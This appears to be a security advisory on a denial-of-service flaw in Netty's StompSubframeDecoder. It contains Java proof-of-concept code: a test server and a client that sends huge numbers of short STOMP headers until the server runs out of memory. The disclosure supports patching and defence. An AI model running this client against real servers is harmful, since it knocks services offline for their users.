🛡️ CVE-2026-44891 — netty

Description

Netty: Denial of Service via Unbounded Headers in StompSubframeDecoder ### Summary The StompSubframeDecoder fails to limit the total number of headers or their cumulative size per frame, allowing an attacker to cause an OutOfMemoryError, leading to a Denial of Service. ### Details `io.netty.handler.codec.stomp.StompSubframeDecoder` implements the STOMP protocol. The `maxLineLength` parameter restricts the length of individual header lines, but there is no mechanism to limit the total number of headers in a single STOMP frame. An attacker can send a large number of short headers (e.g., `a: 1\n`), which are accumulated in memory inside the `DefaultStompHeadersSubframe` until the JVM throws an OutOfMemoryError. ### PoC Run the server with `-Xmx256m` ```java public final class ServerApp { public static void main(String[] args) throws Exception { EventLoopGroup group = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory()); try { ChannelFuture serverFuture = new ServerBootstrap() .group(group) .channel(NioServerSocketChannel.class) .childHandler(new StompSubframeDecoder()) .bind(8080) .sync(); serverFuture.channel().closeFuture().sync(); } finally { group.shutdownGracefully(); } } } ``` ```java public final class ClientApp { public static void main(String[] args) throws Exception { try (Socket socket = new Socket("127.0.0.1", 8080)) { OutputStream out = socket.getOutputStream(); out.write("CONNECT\n".getBytes(StandardCharsets.UTF_8)); StringBuilder sb = new StringBuilder(); for (int i = 0; i < 1000; i++) { sb.append("a:1\n"); } byte[] bulkHeaders = sb.toString().getBytes(StandardCharsets.UTF_8); for (int i = 1; i <= 50_000; i++) { out.write(bulkHeaders); } } catch (Exception e) { e.printStackTrace(); } } } ``` ### Impact Denial of Service: An attacker can easily exhaust the server's memory by sending a single malicious STOMP message. Any server exposing a STOMP endpoint based on StompSubframeDecoder is vulnerable to DoS.